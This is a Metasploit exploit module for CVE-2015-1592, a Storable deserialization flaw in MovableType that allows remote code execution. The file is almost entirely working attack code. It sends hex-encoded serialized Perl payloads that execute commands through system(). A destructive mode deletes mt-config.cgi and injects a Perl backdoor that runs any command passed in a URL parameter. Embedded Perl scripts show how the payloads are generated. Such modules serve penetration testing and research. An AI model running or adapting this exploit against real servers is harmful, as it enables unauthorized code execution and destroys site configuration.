##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SixApart MovableType Storable Perl Code Execution',
      'Description'    => %q{
          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
          arbitrary code. The default nondestructive mode depends on the target server having
          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
          The destructive mode of operation uses only required MovableType dependencies,
          but it will noticeably corrupt the MovableType installation.
      },
      'Author'         =>
        [
          'John Lightsey',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-1592' ],
          [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars'    => ' ',
          'Space'       => 1024,
        },
      'Compat'         =>
        {
          'PayloadType' => 'cmd'
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'Feb 11 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
      ], self.class
    )

  end

=begin
#!/usr/bin/perl
# generate config parameters for injection checks
use Storable;
{
    package XXXCHECKXXX;
    sub STORABLE_thaw {
        return 1;
    }
    sub STORABLE_freeze {
        return 1;
    }
}
my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
$frozen = unpack 'H*', $frozen;
print "LFI test for storable flaw is: $frozen\n";
{
    package DateTime;
    use overload '+' => sub { 'ignored' };
}
=end

  def check
    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
        'vars_get' => {
          '__mode' => 'retry',
          'step'   => 'configure',
          'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
        }
      })

    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
      vprint_status("Failed XXXCHECKXXX.pm load test");
      return Exploit::CheckCode::Safe
    end
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    if datastore['DESTRUCTIVE']
      exploit_destructive
    else
      exploit_nondestructive
    end
  end

=begin
#!/usr/bin/perl
# Generate nondestructive config parameter for RCE via Object::MultiType
# and Try::Tiny. The generated value requires minor modification to insert
# the payload inside the system() call and resize the padding.
use Storable;
{
    package Object::MultiType;
    use overload '+' => sub { 'ingored' };
}
{
    package Object::MultiType::Saver;
}
{
    package DateTime;
    use overload '+' => sub { 'ingored' };
}
{
    package Try::Tiny::ScopeGuard;
}
my $try_tiny_loader = bless {}, 'DateTime';
my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
my $data = [$try_tiny_loader, $try_tiny_executor];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE payload requiring Object::MultiType and DateTime: $frozen\n";
=end

  def exploit_nondestructive
    print_status("Using nondestructive attack method")
    config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
    config_payload <<  payload.encoded.unpack('H*')[0]
    config_payload << "7d293b"
    config_payload << "23" * (1025 - payload.encoded.length)
    config_payload << "0a657869743b"

    print_status("Sending payload (#{payload.raw.length} bytes)")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => config_payload
      }
    }, 5)
  end

=begin
#!/usr/bin/perl
# Generate destructive config parameter to unlink mt-config.cgi
use Storable;
{
    package CGITempFile;
}
my $unlink_target = "mt-config.cgi";
my $cgitempfile = bless \$unlink_target, "CGITempFile";
my $data = [$cgitempfile];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE unlink payload requiring CGI: $frozen\n";
=end

  def exploit_destructive
    print_status("Using destructive attack method")
    # First we need to delete mt-config.cgi using the storable injection

    print_status("Sending storable injection to unlink mt-config.cgi")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
      }
    })

    if res && res.code == 200
      print_status("Successfully sent unlink request")
    else
      fail_with(Failure::Unknown, "Error sending unlink request")
    end

    # Now we rewrite mt-config.cgi to accept a payload

    print_status("Rewriting mt-config.cgi to accept the payload")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get'  => {
        '__mode'             => 'next_step',
        'step'               => 'optional',
        'default_language'   => 'en_us',
        'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
        'set_static_uri_to'  => '/',
        'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
      }
    })

    if res && res.code == 200
      print_status("Successfully sent mt-config rewrite request")
    else
      fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
    end

    # Finally send the payload

    print_status("Sending payload request")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
      'vars_get'  => {
        'xyzzy'   => payload.encoded,
      }
    }, 5)
  end

end